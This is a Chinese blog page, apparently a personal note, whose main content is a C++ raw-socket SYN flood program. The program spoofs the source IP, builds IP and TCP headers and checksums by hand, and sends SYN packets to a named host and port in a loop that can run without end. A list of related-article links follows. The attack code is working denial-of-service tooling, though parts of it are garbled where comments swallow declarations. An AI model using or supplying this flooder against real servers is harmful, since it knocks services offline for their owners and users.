实现上的问题:rst报文无法阻断

#include "stdio.h"
#include "sys/socket.h"
#include "sys/time.h"
#include "sys/types.h"
#include "string.h"
#include "unistd.h"
#include "netdb.h"
#include "time.h"
#include "netinet/in.h"
#include "arpa/inet.h"
#include "stdlib.h"
struct IPHEAD{unsigned char ver_hlen;unsigned char tos;unsigned short dlen;unsigned short brand;unsigned short f_index;unsigned char ttl;unsigned char proto;unsigned short checksum;unsigned int src;unsigned int des;
};//no item
int f=1;
struct TCPHEAD{unsigned short srcport;unsigned short desport;unsigned int seq;unsigned int ack;unsigned char hlen;//4 bit unusedunsigned char f;//from the last,second is synunsigned short recvwnd;unsigned short checksum;unsigned short ep;//p_headunsigned int src;unsigned int des;unsigned char zero;unsigned char proto;unsigned short len;
};//no data
struct syn{hostent *ht;sockaddr_in addr;int sock_raw;
#define SENDBUF_SIZE 1024*100char sendbuf[SENDBUF_SIZE];int times;//functionsyn(int,char*,int);int syn_start();int syn_packet();int srcaddr();int syn_exit();unsigned short checksum(unsigned short*,int);
};
int syn::syn_exit(){close(sock_raw);return 0;
}
syn::syn(int time,char*hostname,int port){times=time;if((sock_raw=socket(PF_INET,SOCK_RAW,IPPROTO_TCP))<0){printf("socket error!\n");exit(0);}if((setsockopt(sock_raw,IPPROTO_IP,IP_HDRINCL,(const char*)&f,sizeof(int)))<0){printf("setsockopt error!\n");close(sock_raw);exit(0);}if((ht=gethostbyname(hostname))==NULL){printf("dns error!\n");close(sock_raw);exit(0);}memset(&addr,0,sizeof(sockaddr));addr.sin_family=AF_INET;addr.sin_port=htons(port);memcpy(&addr.sin_addr,ht->h_addr_list[0],sizeof(addr.sin_addr));
}
unsigned short syn::checksum(unsigned short*s,int size){int i,sum=0;for(i=0;i<size;i++)sum+=s[i];while(sum&0xffff0000){sum=(sum>>16)+(sum&0x0000ffff);}return ~sum;
}
int syn::syn_packet(){IPHEAD ip;TCPHEAD tcp;//ip.ver_hlen=0x45;ip.tos=0x00;ip.dlen=htons(40);ip.brand=htons(rand()%0xffff);ip.f_index=htons(0x4000);ip.ttl=64;ip.checksum=0;ip.proto=6;char src[16];memset(src,0,sizeof(src));//sprintf(src,"%d.%d.%d.%d",192,10,rand()%255,1+rand()%40);sprintf(src,"10.180.49.217");in_addr_t inaddrt=inet_addr(src);memcpy(&ip.src,&inaddrt,sizeof(int));memcpy(&ip.des,&addr.sin_addr,sizeof(int));ip.checksum=checksum((unsigned short*)&ip,sizeof(IPHEAD)/2);//tcp.srcport=htons(rand()%64536+1000);//tcp.srcport=htons(65535);tcp.desport=(unsigned short)addr.sin_port;tcp.seq=htonl(rand()%(1<<30));tcp.ack=0;tcp.hlen=0x50;tcp.f=0x02;tcp.recvwnd=htons(2900);tcp.checksum=0;tcp.ep=0;//tcp.des=ip.des;tcp.src=ip.src;tcp.zero=0;tcp.proto=6;tcp.len=htons(20);tcp.checksum=checksum((unsigned short*)&tcp,sizeof(TCPHEAD)/2);//memset(sendbuf,0,sizeof(sendbuf));memcpy(sendbuf,&ip,sizeof(ip));memcpy(sendbuf+sizeof(ip),&tcp,20);return 0;
}
int syn::syn_start(){srand(time(NULL));int i=0,f=0;if(times<0)f=1;while(i<times||f){syn_packet();if((sendto(sock_raw,sendbuf,40,0,(sockaddr*)&addr,sizeof(sockaddr)))<0){printf("send error!");}
//        sleep(1);printf("*");i++;}return 0;
}

知识点补充:tcp存在伪首部,需要注意

syn包发送(拒绝攻击,但是有问题)相关推荐

  1. linux内核协议栈 connect 系统调用Ⅰ之 发送 SYN 包

    Table of Contents 1 connect 功能概述 2. connect 内核实现 2.1 sys_connect 2.2 TCP流式套接字连接 inet_stream_connect ...

  2. 如何抵御SYN拒绝攻击?

    如何抵御SYN拒绝攻击? 分布式拒绝服务攻击(DDoS) SYN攻击是DDos攻击的一种形式,这种形式攻击者伪装成终端不停地向服务器发起SYN请求.通常攻击者的肉鸡,发送了SYN之后,不等给服务端AC ...

  3. Teardrop攻击--伪造虚假的IP数据包发送并抓取及完成简易静态网页

    目录 Teardrop攻击--伪造虚假的IP数据包发送并抓取 一.相关介绍 1.IP协议 2.Teardrop攻击 二.编写Teardrop程序(伪造一个虚假地址的IP包) 三.参考链接 完成简易静态 ...

  4. 【HTTPS协议】如何抵御 SYN 拒绝攻击?

    [HTTPS协议]如何抵御 SYN 拒绝攻击? 文章目录 [HTTPS协议]如何抵御 SYN 拒绝攻击? 写在前面 拒绝服务攻击(DoS) DDoS 的种类 防范措施 中间人攻击 如何抵御 SYN 拒 ...

  5. 【网络篇】TCP SYN Flood Attack(洪水攻击)

    文章目录 SYN Flood Attack是什么? SYN Flood Attack的阶段 SYN Flood Attack原理 SYN Flood Attack的防御措施 具体防御手段:syn co ...

  6. linux回包不是来包的ip,Linux 只能收到 SYN 包 不能回包

    Linux 只能收到 SYN 包 不能回包 问题 如果用户发现云主机不能登录,例如无法远程 22 端口或其他端口,但是更换网络环境正常,服务端抓包发现客户端发包只有 SYN,没有回包,可以执行 net ...

  7. Windows下底层数据包发送实战

    为什么80%的码农都做不了架构师?>>>    1.简介 所谓"底层数据包"指的是在"运行"于数据链路层的数据包,简单的说就是"以太 ...

  8. SYN包TCP选项的设置

    一个SYN可能包括这些内容:初始系列号.初始窗口大小.MSS.窗口扩大因子.时间戳. 那么是怎么决定是否设置某个选项,怎样设置的呢?例如窗口扩大因子有关传输的性能,我可以怎么样改动这个值呢? 下面来看 ...

  9. 《关于TCP SYN包的超时与重传》——那些你应该知道的知识(四)

    近日,在分析某项业务故障时,抓取到,TCP客户端发送SYN包,对端没有收到,然而客户端也没有进行SYN包重传的现象.具体情况如下图: 可以看到,经过过滤,本次抓包抓取到的tcp连接情况,只有客户端主动 ...

  10. java syn包_月薪3K的后端面试点-网络与Java

    网络基础 传输控制协议TCP简介 面向连接的.可靠的.基于字节流的传输层通信协议 将应用层的数据流分割成报文段并发送给目标节点的TCP层 数据包都有序号,对方收到则发送ACK确认,未收到则重传 使用校 ...

最新文章

  1. vue 页面闪烁的问题_vue页面加载闪烁问题的解决方法
  2. 利用.NET Core类库System.Reflection.DispatchProxy实现简易Aop
  3. python循环删除包含字符串_删除包含完全字符串的文件中的行(Python)
  4. mfc listbox删除多行
  5. Android TabHost中Activity之间传递数据
  6. Java 相同类型强制转换异常
  7. 10G整数文件中寻找中位数或者第K大数
  8. 【Android】Scrollview返回顶部,快速返回顶部的功能实现,详解代码。
  9. 实用网站合集(持续更新ing)
  10. C基础:程序执行时间的计算方法的三种方式
  11. 易基因 | 表观技术:单细胞及微量细胞全基因组重亚硫酸盐甲基化测序(scWGBS)
  12. 十一青岛2人4日自助游记
  13. Kubernetes 认证
  14. 表格合并怎么将多工作簿同名表合并到一起
  15. python程序发钉钉消息
  16. iOS MP3流媒体播放 边缓冲边播放 FreeStreamer框架
  17. Springboot 实现将文件压缩,然后下载
  18. win10 程序最小化不在任务栏了?在左下角
  19. 微程序与微指令和微命令
  20. 各项异性扩散(Anisotropic diffusion)--算法简介(python)代码实现

热门文章

  1. JDBC - new Date插入mysql数据库,数据库时间多一秒问题
  2. Windows的cmd统计文件行数
  3. Java美颜相机(1)图像处理
  4. android 模拟器的使用
  5. 【笔记本触摸屏】实用技巧整理
  6. 600度近视眼恢复方法_600度的近视眼,恢复视力要注意
  7. avcap 跨平台摄像头视频捕捉
  8. jrebel使用方法
  9. 解决 ZeroDivisionError integer division or modulo by zero
  10. XTDRONE:ego_planner三维运动规划